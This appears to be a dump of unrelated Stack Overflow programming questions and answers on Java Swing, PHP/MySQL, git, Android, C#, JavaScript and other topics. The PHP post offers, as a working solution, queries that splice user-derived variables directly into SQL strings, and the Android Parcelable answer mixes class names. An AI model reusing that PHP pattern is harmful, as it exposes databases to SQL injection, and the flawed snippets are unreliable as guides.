5323317	0	 <pre><code>package fileHandling; import java.io.File; import javax.swing.JFileChooser; import java.awt.BorderLayout; import java.awt.Color; import java.awt.FlowLayout; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JDialog; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.UIManager; import com.lowagie.text.Font; public class CreateNFiles extends JFrame implements ActionListener { JLabel lblFileName,lblNoOfPagesInPdf,lblPathToSave,lblExtension,lblError,lblHeading; JTextField txtFileName,txtNoOfPagesInPdf,txtPathToSave,txtExtension; JButton btnSubmit,btnBrowse; JPanel mainPanel,gridPanel; GridBagConstraints gbc; JDialog jdBrowse; int total; String absoluteFileName; String fileName; java.awt.Font textFont; CreateNFiles() { setLayout(new FlowLayout()); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setSize(500,400); setLocationRelativeTo(null); setVisible(true); initializeObjects(); addObjectsToFrame(this); } public void initializeObjects() { textFont=new java.awt.Font("TimesRoman",Font.BOLD + Font.ITALIC,15); lblFileName=new JLabel("File Name : "); lblFileName.setFont(textFont); lblNoOfPagesInPdf=new JLabel("No of Pages : "); lblNoOfPagesInPdf.setFont(textFont); lblPathToSave=new JLabel("Path To Save : "); lblPathToSave.setFont(textFont); lblExtension=new JLabel("Extension : "); lblExtension.setFont(textFont); lblError=new JLabel(""); lblError.setVisible(false); lblHeading=new JLabel("~~ Blank File Automatic ~~"); lblHeading.setFont(textFont); lblHeading.setForeground(Color.BLUE); lblHeading.setVisible(true); txtFileName=new JTextField(10); txtNoOfPagesInPdf=new JTextField(10); txtPathToSave=new JTextField(20); txtExtension=new JTextField(10); btnSubmit=new JButton("Submit"); btnSubmit.addActionListener(this); btnBrowse=new JButton("Browse"); btnBrowse.addActionListener(this); mainPanel=new JPanel(new BorderLayout()); gridPanel=new JPanel(new GridBagLayout()); gbc=new GridBagConstraints(); gbc.insets=new Insets(10,10,10,10); jdBrowse=new JDialog(); } public void addObjectsToFrame(CreateNFiles frame) { frame.setLayout(new FlowLayout()); gbc.gridx=0; gbc.gridy=0; gridPanel.add(lblFileName,gbc); gbc.gridx=1; gbc.gridy=0; gridPanel.add(txtFileName,gbc); gbc.gridx=0; gbc.gridy=1; gridPanel.add(lblNoOfPagesInPdf,gbc); gbc.gridx=1; gbc.gridy=1; gridPanel.add(txtNoOfPagesInPdf,gbc); gbc.gridx=0; gbc.gridy=2; gridPanel.add(lblPathToSave,gbc); gbc.gridx=1; gbc.gridy=2; gbc.gridwidth=2; gridPanel.add(txtPathToSave,gbc); gbc.gridx=3; gbc.gridy=2; gbc.gridwidth=1; gridPanel.add(btnBrowse,gbc); gbc.gridx=0; gbc.gridy=3; gridPanel.add(lblExtension,gbc); gbc.gridx=1; gbc.gridy=3; gridPanel.add(txtExtension,gbc); gbc.gridx=1; gbc.gridy=4; gridPanel.add(btnSubmit,gbc); gbc.gridx=0; gbc.gridy=5; gbc.gridwidth=4; gridPanel.add(lblError,gbc); frame.add(lblHeading,BorderLayout.PAGE_START); mainPanel.add(gridPanel,BorderLayout.CENTER); frame.add(gridPanel); frame.setVisible(true); frame.setLocationRelativeTo(null); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } public static void main(String[] args) { try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel"); } catch(Exception e) { System.out.println("Exception : "+e); } CreateNFiles obj=new CreateNFiles(); } public void actionPerformed(ActionEvent ae) { if (ae.getActionCommand().equals("Submit")) { System.out.println("Button1 has been clicked"); process(); } else if (ae.getActionCommand().equals("Browse")) { System.out.println("Button1 has been clicked"); try { JFileChooser fileChooser = new JFileChooser(); fileChooser.setCurrentDirectory(new java.io.File(".")); fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); fileChooser.setAcceptAllFileFilterUsed(false); int returnValue = fileChooser.showOpenDialog(null); if (returnValue == JFileChooser.APPROVE_OPTION) { File selectedFile = fileChooser.getSelectedFile(); txtPathToSave.setText(fileChooser.getSelectedFile().getAbsolutePath()); System.out.println(fileChooser.getCurrentDirectory()); } } catch(Exception ex) { System.out.println(ex.getMessage()); } } } public void process() { try { String ext=null; String path; fileName=txtFileName.getText(); total=Integer.parseInt(txtNoOfPagesInPdf.getText()); ext=txtExtension.getText(); path=txtPathToSave.getText(); for(int i=0;i&lt;total*2;i++) { if(i%2==0) { absoluteFileName=path+"\\"+fileName+(i/2)+'.'+ext; } else { absoluteFileName=path+"\\"+fileName+(i/2)+"A"+"."+ext; } File file=new File(absoluteFileName); try { file.createNewFile(); } catch(Exception e) { System.out.println(e.getMessage()); } System.out.println("Parent :: "+file.getAbsolutePath()); System.out.println("Parent :: "+file.getParent()); } } catch(Exception ae) { System.out.println(ae.getMessage()); lblError.setVisible(true); lblError.setText("Error :- "+ae.getMessage()); lblError.setFont(textFont); lblError.setForeground(Color.red); } } } </code></pre>
27059950	0	 <p>Your only option in JSON for a null value is <code>null</code>. <code>""</code> isn't null, it's an empty string. <code>{}</code> is an empty object. <code>[]</code> is an empty array. I would use those where it was appropriate to have empty strings, objects, or arrays, but for null I'd use <code>null</code>.</p> <p>I don't like just leaving the property off entirely (which is what I think you mean by #3), because I prefer that the JSON structure be clear even when a value is omitted. But that's a subjective response, and people can have different opinions about it.</p>
4184920	0	git cherry-pick -x: link in details instead of in summary <p>Given a commit with the message "foo", i.e. with only a summary part, I do <code>git cherry-pick -x the_commit</code>. The result is a new commit with message <pre>foo<br>(cherry picked from commit eb42a6475d2c2e4fff7a1b626ce6e27eec21e886)</pre> Now that's not good, because it is a two-line summary, which seems like a bug in git.</p> <p>But how can I make git make the comment look like below without editing the comment manually?</p> <pre>foo<br><br>(cherry picked from commit eb42a6475d2c2e4fff7a1b626ce6e27eec21e886)</pre>
26779700	0	 <p>Make MyClass <strong>Parcelable</strong>. See example below.</p> <pre><code>public class MyClass implements Parcelable { private int mData; public int describeContents() { return 0; } public void writeToParcel(Parcel out, int flags) { out.writeInt(mData); } public static final Parcelable.Creator&lt;MyParcelable&gt; CREATOR = new Parcelable.Creator&lt;MyParcelable&gt;() { public MyParcelable createFromParcel(Parcel in) { return new MyParcelable(in); } public MyParcelable[] newArray(int size) { return new MyParcelable[size]; } }; private MyParcelable(Parcel in) { mData = in.readInt(); } } // Send it using ArrayList&lt;MyClass&gt; list; intent.putParcelableArrayListExtra("list", list); </code></pre>
35386773	0	PHP Related items from database <p>I have been googling for a while and searching SO but I still can't find an answer.</p> <p>So my problem is that I want to pull related content from mySQL database on what id is currently being displayed on the page. In the database I have a column dedicated to keywords, and I am using the LIKE query to pull id's based on those keywords. However, I get only one id because the LIKE query looks at the keyword literally. For example, keyword1 = 'apples berries oranges' is not the same as keywords2 = 'apples' 'berries' 'oranges'. I want the latter so it can pull in more related data.</p> <p>I also think I may be approaching this wrong, but I don't know any other way to pull related items.</p> <p>Here's my code...</p> <pre><code>&lt;?php include 'data/data_connect.php'; if ($sugg_qs = $db-&gt;query("SELECT * FROM questions WHERE keywords LIKE '$keywords' LIMIT 4")) { if ($q_count = $sugg_qs-&gt;num_rows) { echo $q_count; while($row = $sugg_qs-&gt;fetch_assoc()) { echo $row-&gt;title; } $sugg_qs-&gt;free(); } else { die('error'); } } else { die('error'); } ?&gt; </code></pre> <hr> <p>UPDATE</p> <pre><code>if ($sugg_qs = $db-&gt;query("SELECT * FROM questions WHERE keywords LIKE CONCAT('%', '$keywords' ,'%') LIMIT 3")) { if ($q_count = $sugg_qs-&gt;num_rows) { $row = $sugg_qs-&gt;fetch_all(MYSQLI_ASSOC); foreach ($row as $rows) { echo $rows['title']; } } else { die('error'); } </code></pre> <p>This code does work with id's that only have one keyword. So I guess a possible (but undesired) solution would be to create a new column for each new keyword and use LIKE for each keyword.</p> <p>Is there a way to avoid creating more columns?</p> <p>THANKS for those who helped already :)</p> <hr> <p>FINAL UPDATE? Ok. So I figured it out in probably the messiest way to write code, but apparently it works for me. So first of all I standardized my table where each element is limited to only 5 keywords and 1 category. So in the query I call for items with similar keywords, and if there aren't similar results I then call for items from the same category from the original item. </p> <p>Here is the (messy) code for those looking for a solution!</p> <pre><code>$q_kw_arr = explode(' ', $keywords); if ($sugg_qs = $db-&gt;query("SELECT keywords, category, title FROM questions WHERE keywords LIKE CONCAT('%', '$q_kw_arr[0]' ,'%') OR CONCAT('%', '$q_kw_arr[1]' ,'%') OR CONCAT('%', '$q_kw_arr[2]' ,'%') OR CONCAT('%', '$q_kw_arr[3]' ,'%') OR CONCAT('%', '$q_kw_arr[4]' ,'%') OR category= '$category' LIMIT 4")) { if ($q_count = $sugg_qs-&gt;num_rows) { $row = $sugg_qs-&gt;fetch_all(MYSQLI_ASSOC); foreach ($row as $rows) { echo $rows['title']; } } else { echo 'error'; } } </code></pre> <p>SPECIAL THANKS TO..</p> <p>Terminus, Grzegorz J, and infidelsawyer</p>
39168883	0	A kernel module to transparently detour packets coming from a NIC and TCP application. Is it possible to make it done? <p>Is it possible for a Linux kernel module to transparently detour the packet coming from upper layer (i.e. L2,L3) and NIC? For example, <strong>1)</strong> a packet arrives from a NIC, the module gets the packet (do some processing on it) and delivers back to tcp/ip stack or <strong>2)</strong> an app sends data, the module gets the packet (do some processing) and then, delivers the packet to an output NIC.</p> <p>It is not like a sniffer, in which a copy of the packet is captured while the actual packet flow continues. </p> <p>I thought on some possibilities to achieve my goal. I thought in registering a <strong>rx_handler</strong> in the kernel to get access to the incoming packets (coming from a NIC), but how to delivers back to the kernel stack? I mean, to allow the packet to follow the path that it should have taken without the module in the middle.</p> <p>Moreover, let's say an app is sending a packet through TCP protocol. How the module could detour the packet (to literally get the packet)? Is it possible? In order to send it out through the NIC, I think <strong>dev_queue_xmit()</strong> does the job, but I'm not sure.</p> <p>Does anyone know a possible solution? or any tips? </p> <p>Basically, I'd like to know if there is a possibility to put a kernel module between the NIC and the MAC layer.. or in the MAC layer to do what I want. In positive case, does anyone has any hint like main kernel functions to use for those purposes?</p> <p>Thanks in advance. </p>
25833139	0	XML serialize - remove first default tag <p>I have the following class:</p> <pre><code>public class RecordDTO { public int TabIndex { get; set; } public int TaxYear { get; set; } } </code></pre> <p>I serialize an instance of the class: </p> <pre><code> System.Xml.Serialization.XmlSerializer x = new System.Xml.Serialization.XmlSerializer(record.GetType()); string xmlstring = null; using (StringWriter writer = new StringWriter()) { x.Serialize(writer, record); xmlstring = writer.ToString(); } </code></pre> <p>The result is:</p> <pre><code> "&lt;?xml version="1.0" encoding="utf-16"?&gt; &lt;RecordDTO xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt; &lt;TabIndex&gt;1&lt;/TabIndex&gt; &lt;TaxYear&gt;2014&lt;/TaxYear&gt; &lt;/RecordDTO&gt;" </code></pre> <p><strong>I want the first row</strong> <code>(&lt;?xml version="1.0" encoding="utf-16"?&gt;)</code> <strong>to not be created at the xmlstring.</strong> <strong>What should I do?</strong></p> <p><strong>About the 'duplicate' claim of rene, Unihedron, Infinite Recursion, har07, Athari: The other question use xmlWriter, and I need stringWriter. If you have way to do it by stringWriter; or you have a way to use xmlWriter and accept string - you can tell about.</strong></p>
40714106	0	Browsing and displaying pdf on html page not working in IE <p>I am using the following code to browse and display pdf file on the html. Its working in chrome but not in IE. Iam using iframe to show pdf. </p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;link class="jsbin" href="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/jquery-ui.css" rel="stylesheet" type="text/css" /&gt; &lt;script class="jsbin" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"&gt;&lt;/script&gt; &lt;script class="jsbin" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.0/jquery-ui.min.js"&gt;&lt;/script&gt; &lt;meta charset=utf-8 /&gt; &lt;script&gt; function readURL(input) { if (input.files &amp;&amp; input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { // document.getElementById("blah").setAttribute('data', e.target.result); $('#blah') .attr('data', e.target.result) .width(150) .height(200); }; // alert("after attaching"); reader.readAsDataURL(input.files[0]); } } &lt;/script&gt; &lt;title&gt;JS Bin&lt;/title&gt; &lt;!--[if IE]&gt; &lt;script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"&gt;&lt;/script&gt; &lt;![endif]--&gt; &lt;style&gt; article, aside, figure, footer, header, hgroup, menu, nav, section { display: block; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;input type='file' onchange="readURL(this)"/&gt; &lt;object id="blah" data=""&gt;&lt;/object&gt; &lt;!-- &lt;div id="pdf"&gt; &lt;iframe src="http://www.oracle.com/events/global/en/java-outreach/resources/java-a-beginners-guide-1720064.pdf" id="blah" style="width: 100%; height: 100%;" frameborder="0" scrolling="no"&gt; &lt;p&gt;It appears your web browser doesn't support iframes.&lt;/p&gt; &lt;/iframe&gt; &lt;/div&gt; --&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I was using Object tag for attaching later on i changed to iframe for IE compactibility</p>
2404961	0	 <p>If .NET 4 is an option, I'd strongly recommend having a look at the <a href="http://msdn.microsoft.com/en-us/library/dd267265(VS.100).aspx" rel="nofollow noreferrer"><code>ConcurrentQueue&lt;T&gt;</code></a> and possibly even wrapping it with a <a href="http://msdn.microsoft.com/en-us/library/dd267312(VS.100).aspx" rel="nofollow noreferrer"><code>BlockingCollection&lt;T&gt;</code></a> if that suits your needs.</p>
18990548	0	 <p>I have found solution of my question's</p> <pre><code>@hotels = [] hotels.map{|hotel| @hotels &lt;&lt; hotel unless @hotels.map(&amp;:id).include? hotel.id} </code></pre> <p>and now <code>@hotels.map(&amp;:id)</code> return <code>[42, 47, 48, 41, 43, 39, 40, 44, 46, 45]</code></p>
4631584	0	 <p>It seems to be the file <code>C:\Users\%USER%\AppData\LocalLow\Sun\Java\Deployment\deployment.properties</code> where the command line arguments are stored.</p> <p>Adding <code>test123</code> in the command line arguments changes the file to the following:</p> <pre><code>deployment.javaws.jre.1.location=http\://java.sun.com/products/autodl/j2se deployment.javaws.jre.1.args=test123 deployment.javaws.jre.1.enabled=true deployment.javaws.jre.1.registered=true deployment.javaws.jre.1.product=1.6.0_22 deployment.javaws.jre.1.path=C\:\\Program Files\\Java\\jre6\\bin\\javaw.exe deployment.javaws.jre.1.osarch=amd64 deployment.javaws.jre.1.osname=Windows deployment.javaws.jre.1.platform=1.6 </code></pre> <p>At least, I can manually edit the file and the changes show up in the Java Control Panel. The file's documentation can be found <a href="http://download.oracle.com/javase/6/docs/technotes/guides/deployment/deployment-guide/properties.html">here</a>.</p>
25186621	0	 <p>This is a good example to use negative lookbehind, you can use this regex to get the content you want:</p> <pre><code>”.*?(?&lt;!\\)” </code></pre> <p><strong><a href="http://regex101.com/r/fB6dP2/1" rel="nofollow noreferrer">Working demo</a></strong></p> <p>Using capturing groups you can grab those strings:</p> <pre><code>(”.*?(?&lt;!\\)”) </code></pre> <p><img src="https://i.stack.imgur.com/K44gi.png" alt="enter image description here"></p> <p>Here is the matches</p> <pre><code>MATCH 1 1. [4-41] `”aaaa\”bbbbb\”ccccccc\”ddddd\”eeeeee”` MATCH 2 1. [46-80] `”ffffff\”ggggg\”hhhh\”iiiii\”jjjj”` </code></pre> <p>Then you can apply the logic you want on this strings.</p>
36689974	0	 <pre><code>for (int i = 0; i &lt; PersonalIdentityNumber.Count &amp;&amp; i &lt; PostNr.Count; i++) </code></pre> <p>The best would be to create an object with all properties and create an array of these objects. Some times one of the properties can be null.</p>
5866204	0	 <p>Given definition for all the classes Node, FoodSource etc is available, you need to do at least the following:</p> <p>1) Move the function definition to .h file</p> <p>2) The first line in main function is ambigous. It should be rewritten as <code>Catalog&lt;FoodSource&gt; test;</code> because <code>Catalog&lt;FoodSource&gt; test()</code> will be treated as function prototype</p>
29114889	0	 <p>Most likely the folder variable is null - if the folder does not exist, retrieving it by name (<code>RDOFolder.Folders.Item("foldername"))</code> will return null:</p> <pre><code>RDOSession session = new RDOSession(); RDOPstStore store = session.LogonPstStore(newpstpath); RDOFolder folder = store.IPMRootFolder.Folders.Item(directoryEmlFile); if (folder == null) folder = store.IPMRootFolder.Folders.Add(directoryEmlFile); RDOMail mail = folder.Items.Add("IPM.Note"); </code></pre>
2879490	0	 <p>You can have a forth 'lib' main Git repo, with:</p> <ul> <li><code>lib/vendor/package</code> content</li> <li>3 <strong>submodules</strong> (see "<a href="http://stackoverflow.com/questions/1979167/git-submodule-update/1979194#1979194">true nature of submodules</a>")</li> </ul> <p>But this reference is totally independent from any 'svn:external' property you may have setup in a mirror SVN repo.</p> <p>So if you have 3 SVN repos already, you can <code>git-svn</code> them, publish them on GitHub, and then create a fourth repo on GitHub in which you will add those 3 Git repos as submodules, following the <a href="https://git.wiki.kernel.org/index.php/GitSubmoduleTutorial" rel="nofollow noreferrer">submodules tutorial</a> (supposing here you have all 4 repos already on GitHub)</p> <pre><code>$ mkdir -p lib/vendor/package $ cd lib/vendor/package $ for package in a b c d; do $ git submodule add git://github.com/path/to/$package.git $package $ done $ cd .. $ git commit -m "lib with submodules" $ git push </code></pre>
37165971	0	How to create a strict 4-digit PIN input in plain JavaScript? <p>I'm trying to create a PIN input, wherein the user may only use 4 digits.</p> <p>In my code, I have managed to exclude A-Z and any other keys like curly braces, colons and so on, but I have faced some trouble with excluding the special characters (shift + 0-9).</p> <p>Regarding the length, I have successfully set it to 4, but if 4 is reached and one wants to delete it doesn't go past 3.</p> <p>My code:</p> <pre><code>var pin = document.forms.RegForm.pin; pin.onkeydown = function(key) { var allowedkeys = [], auxkeys = [8, 13, 17, 18, 46], specChars = "!@#$%^&amp;*()", keypressed = String.fromCharCode(key.which); allowedkeys.push(auxkeys); for (var i = 37; i &lt; 41; i++) allowedkeys.push(i); for (var i = 48; i &lt; 58; i++) allowedkeys.push(i); for (var i = 96; i &lt; 106; i++) allowedkeys.push(i); if (this.value.length &lt;= 3) { if (specChars.indexOf(keypressed) !== -1 || (key.which &lt; 48 || key.which &gt; 57) &amp;&amp; (key.which &lt; 96 || key.which &gt; 105)) key.preventDefault(); } else { if (auxkeys.indexOf(key.which) === -1) return false; } }; </code></pre> <p>I know the length can easily be done with maxlength = "4" in HTML, but for the purpose of getting to know JavaScript better, I would prefer an 'in JavaScript' solution.</p> <p>Should you provide an answer or a link to a similar question, if there is one, I would appreciate it. Fiddle: <a href="https://jsfiddle.net/qn968nhm/1/" rel="nofollow">https://jsfiddle.net/qn968nhm/1/</a></p>
22920020	0	Dojo ToggleButton Check Icon doesn't update <p>I am defining a toggle button in HTML and then updating it's checked state in JavaScript based on another toggle button.</p> <p>Toggle Button: <code>&lt;input type="checkbox" dojoType="dijit.form.ToggleButton" iconClass="dijitCheckBoxIcon" label="Assigned Work" id="AssignedWork" &gt;</code> </p> <p>When the app runs I want this toggle button to be un-checked. </p> <p>I can successfully call the checked property like this: </p> <p><code>Registry.byId("AssignedWork").checked = true;</code></p> <p>However my toggle button's icon isn't updating to indicate the "Check". When my mouse cursor hovers over the toggle button the button refreshes and shows the check mark. Is there a way to get the check icon to turn on with the .checked property?</p>
621422	0	 <p>You could take a look at <a href="http://www.aquafold.com/" rel="nofollow noreferrer">Aqua Data Studio</a>.</p>
37663764	0	Instagram api sandbox allowed or not <p>Which endpoints are allowed in just sandbox before approval process? I read about the "extended" permissions you can request after approval..but seem's like follower list and users/search?q= is not working. </p> <p>So how am I supposed to show them a screencast/video of my app working required for the approval? I have 2 sandbox users I'm testing with..</p>
34236365	0	 <p><code>void checkCollisions();</code> (in <code>moveBalls</code>) is a function prototype, not a function call. Remove the <code>void</code>.</p>
17444285	0	 <p>The best way to do this is to use something like <a href="http://nuget.org/packages/MoreLinq.Source.MoreEnumerable.Batch/" rel="nofollow">the <code>Batch</code> method from <code>MoreLinq</code></a>.</p> <p>This lets you partition the items in a sequence into batches of a specified size.</p> <p>If you want a simple approach which doesn't need to be threadsafe (i.e. you don't need to use it with <code>Parallel.ForEach()</code> for example) then you can use the following extension method.</p> <p>It has the advantage that you can produce all the batches without calling Skip multiple times:</p> <pre><code>public sealed class Batch&lt;T&gt; { public readonly int Index; public readonly IEnumerable&lt;T&gt; Items; public Batch(int index, IEnumerable&lt;T&gt; items) { Index = index; Items = items; } } public static class EnumerableExt { // Note: Not threadsafe, so not suitable for use with Parallel.Foreach() or IEnumerable.AsParallel() public static IEnumerable&lt;Batch&lt;T&gt;&gt; Partition&lt;T&gt;(this IEnumerable&lt;T&gt; input, int batchSize) { var enumerator = input.GetEnumerator(); int index = 0; while (enumerator.MoveNext()) yield return new Batch&lt;T&gt;(index++, nextBatch(enumerator, batchSize)); } private static IEnumerable&lt;T&gt; nextBatch&lt;T&gt;(IEnumerator&lt;T&gt; enumerator, int blockSize) { do { yield return enumerator.Current; } while (--blockSize &gt; 0 &amp;&amp; enumerator.MoveNext()); } } </code></pre> <p>And you use it like:</p> <pre><code> var items = Enumerable.Range(100, 510); // Pretend we have 50 items. int itemsPerPage = 20; foreach (var page in items.Partition(itemsPerPage)) { Console.Write("Page " + page.Index + " items: "); foreach (var i in page.Items) Console.Write(i + " "); Console.WriteLine(); } </code></pre> <p>But if you need threadsafe partitioning, use the MoreLinq Batch method I linked above.</p>
20535653	0	Resuse of Async task code in my various file <p>I want to create an class file for Async task operation and from creating the object of that class file i want to access these method of async task with no of different class files with different parameters. </p> <p><strong>Methods of Async task include:-</strong></p> <p><strong>OnPreExecute()</strong>-Want to start progress dialog same for each class.</p> <p><strong>doInbackground()</strong>-Want to perform background operation(like getting data from server) means passing parameter different for each class. </p> <p><strong>onPostExecute()</strong>-Dismiss the progress dialog and update the UI differnt for each class.</p> <p>Nw i m writing the async task in my every class as inner class like following:-</p> <pre><code>class loaddata extends AsyncTask&lt;String, String, String&gt; { @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(AddNewLineitem.this); pDialog.setMessage("Loading Data. Please wait..."); pDialog.setIndeterminate(false); pDialog.setCancelable(true); pDialog.setOnCancelListener(new OnCancelListener() { @Override public void onCancel(DialogInterface dialog) { } }); pDialog.show(); } @Override protected String doInBackground(String... params) { try { List&lt;NameValuePair&gt; params1 = new ArrayList&lt;NameValuePair&gt;(); JSONObject json = jparser.makeHttpRequest(url_foralldropdowns, "GET", params1); compoment = json.getJSONArray(COMPONENT_CODE); for (int i = 1; i &lt; compoment.length(); i++) { JSONObject c = compoment.getJSONObject(i); String code = c.getString(CODE); list_compoment.add(code); } } catch (Exception e) { e.printStackTrace(); } return null; } protected void onPostExecute(String file_url) { loadSpinnerData(); pDialog.dismiss(); } } </code></pre> <p>And JSON parser class is as follows:-</p> <pre><code>public class JSONParser { static InputStream is = null; static JSONObject jObj = null; static String json = ""; // constructor public JSONParser() { } // function get json from url // by making HTTP POST or GET mehtod public JSONObject makeHttpRequest(String url, String method, List&lt;NameValuePair&gt; params) { // Making HTTP request try { // check for request method if (method == "POST") { // request method is POST // defaultHttpClient DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url); httpPost.setEntity(new UrlEncodedFormEntity(params)); HttpResponse httpResponse = httpClient.execute(httpPost); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } else if (method == "GET") { // request method is GET DefaultHttpClient httpClient = new DefaultHttpClient(); String paramString = URLEncodedUtils.format(params, "utf-8"); url += "?" + paramString; HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = httpClient.execute(httpGet); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { BufferedReader reader = new BufferedReader(new InputStreamReader( is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } is.close(); json = sb.toString(); } catch (Exception e) { Log.e("Buffer Error", "Error converting result " + e.toString()); } // try parse the string to a JSON object try { jObj = new JSONObject(json); } catch (JSONException e) { Log.e("JSON Parser", "Error parsing data " + e.toString()); } // return JSON String return jObj; } } </code></pre> <p>And in oncreate() i call this and it works fine:-</p> <pre><code>new loaddata().execute(); </code></pre> <p>Please Help yourself..Thanks in advance</p>
31148509	0	 <p>Those are <a href="https://gcc.gnu.org/onlinedocs/cpp/Macros.html" rel="nofollow">macros</a> declarations.</p> <p>Whenever you have <code>lowByte(0x1234)</code> in your code, it will be replaced with the right part of the macro, substituting arguments with their values, that is <code>((uint8_t) ((0x1234) &amp; 0xff))</code>.</p> <p>This step is performed by the <a href="https://en.wikipedia.org/wiki/C_preprocessor" rel="nofollow">preprocessor</a> prior to compilation.</p>
22944451	0	 <p>You can always render some widgets in places specific to your layout using </p> <pre><code>{{ form_widget(delete_form.yourWidgetName) }} </code></pre> <p>and then let Symfony complete the form with </p> <pre><code>{{ form_rest(delete_form) }} </code></pre>
13154824	0	 <p>try using css <code>:hover</code></p> <pre><code>​ul li:hover{ color: black; font: 14px; font-weight: bold; }​ </code></pre>
31659043	0	BSoD on vagrant up (KMODE_EXCEPTION_NOT_HANDLED) - Windows 8 <p>I have a problem with <code>Vagrant</code>, trying to initialize a <code>virtualbox</code> with <code>laravel/homestead</code> box.</p> <p>I have installed latest version of <code>Vagrant (1.7.4)</code> on my Windows 8 OS. I have installed Oracle VirtualBox 5.5.0.</p> <p>Then I did this in windows Command Prompt:</p> <p><code>vagrant add box laravel/homestead</code> to add the laravel homestead box</p> <p><code>vagrant init laravel/homestead</code></p> <p>and</p> <p><code>vagrant up</code></p> <p>After <code>vagrant up</code> somewhere in the process the system fails with BSoD (KMODE_EXCEPTION_NOT_HANDLED)</p> <p>Any ideas of what i could have done wrong, or have anybody experienced this problem?</p> <p>Thank you!</p>
38755095	0	 <p>Instead of increasing the indentation level with each request, you can return the request to the original promise chain and add a <code>then</code> there. Like this:</p> <pre><code>fetchUserById = function(id) { var user = {}; return knex_instance('user_info').where('id', id).first() .then(function(data) { if (!data) return null; user.info = data; return knex_instance('user_table').where('id', id).first(); }) .then(function(values) { if (!values) return null; user.values = values; return user; }); .catch(errorHandler('fetchUserById', id)); } </code></pre> <p>Problem with this approach, the <code>null</code> that can be returned by the first <code>then</code> must be passed through the second one (and the third, fourth, etc, if you had some). An alternate method would have been to use exceptions instead of returning null:</p> <pre><code>fetchUserById = function(id) { var user = {}; return knex_instance('user_info').where('id', id).first() .then(function(data) { if (!data) throw "NO_USER_INFO"; user.info = data; return knex_instance('user_table').where('id', id).first(); }) .then(function(values) { user.values = values; return user; }); .catch(function(err) { if (err==="NO_USER_INFO") return null; else return errorHandler('fetchUserById', id); } } </code></pre>
31544880	0	cant use variable counter inside loop <p>I have database connected to my app in vb.net</p> <p>if i want to get the value from any row or column i use this code and it's work fine</p> <pre><code>DataGridView1.Rows(1).Cells(1).Value.ToString </code></pre> <p>my problem is i have table contain 14 row and i want to make loop to check the first cell in every row if it's contain specific value to do other task</p> <p>if i use the variable i in counter i got an error </p> <p>in this code</p> <pre><code> Private Sub Button24_Click(sender As Object, e As EventArgs) Handles Button24.Click Dim see As String For i As Int32 = 0 To 14 see = DataGridView1.Rows(i).Cells(1).Value.ToString If see = "FLOWRATE" Then TextBox11.Text = TextBox11.Text &amp; see &amp; " " End If Next End Sub </code></pre> <p>when i press the button i got this error</p> <pre><code>An unhandled exception of type 'System.NullReferenceException' occurred in project1.exe Additional information: Object reference not set to an instance of an object. </code></pre>
14843094	0	EF creating procedures using ExecuteStoreCommand (running bulk scripts) <pre><code>SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO -- ============================================= -- USP_TEST_SELECT -- ============================================= IF EXISTS (SELECT name FROM sysobjects WHERE name = 'usp_test_select' AND type = 'P') DROP PROCEDURE usp_test_select GO CREATE PROCEDURE usp_test_select @id int AS BEGIN SET NOCOUNT ON; SELECT * FROM MY_TABLE mt WHERE mt.id = @id END GO -- ********************************************** </code></pre> <p>I read this script from a textfile and would like to run it using EF <code>.ExecuteStoreCommand</code> (or any other execute method in EF).</p> <p>An exception is thrown : </p> <blockquote> <p><em>System.Data.SqlClient.SqlException (0x80131904): Incorrect syntax near 'GO'.<br> 'CREATE/ALTER PROCEDURE' must be the first statement in a query batch.</em></p> </blockquote> <p>The scripts (text file) which I am running is generated by SQL Server Management Studio and runs with success if executed there.</p>
9611595	0	Why is += valid temporaries in standard library? <p>When I attempt to compile the following on <a href="http://ideone.com/BaQoe" rel="nofollow">ideone</a>:</p> <pre><code>class X { public: friend X&amp; operator+=(X&amp; x, const X&amp; y); }; X&amp; operator+=(X&amp; x, const X&amp; y) { return x; } int main() { X() += X(); } </code></pre> <p>As expected, this throws a compile error, because you can't pass a temporary to a non const reference.</p> <p>However, the following compiles successfully on <a href="http://ideone.com/PECyy" rel="nofollow">ideone</a>:</p> <pre><code>std::string() += std::string(); </code></pre> <p>Shouldn't this error like my example above? </p> <p><strong>Edit:</strong></p> <p>If std::string() defines <code>+=</code> as a member operation, why does it do this when such usage allows the left hand side to be a temporary? Why not define it as I have above and avoid the reference to temporary issues?</p>
21671606	0	 <p>Like this. without the text()</p> <pre><code>$(".post-btn").html("&lt;img src='../images/loader.gif' /&gt;"); </code></pre>
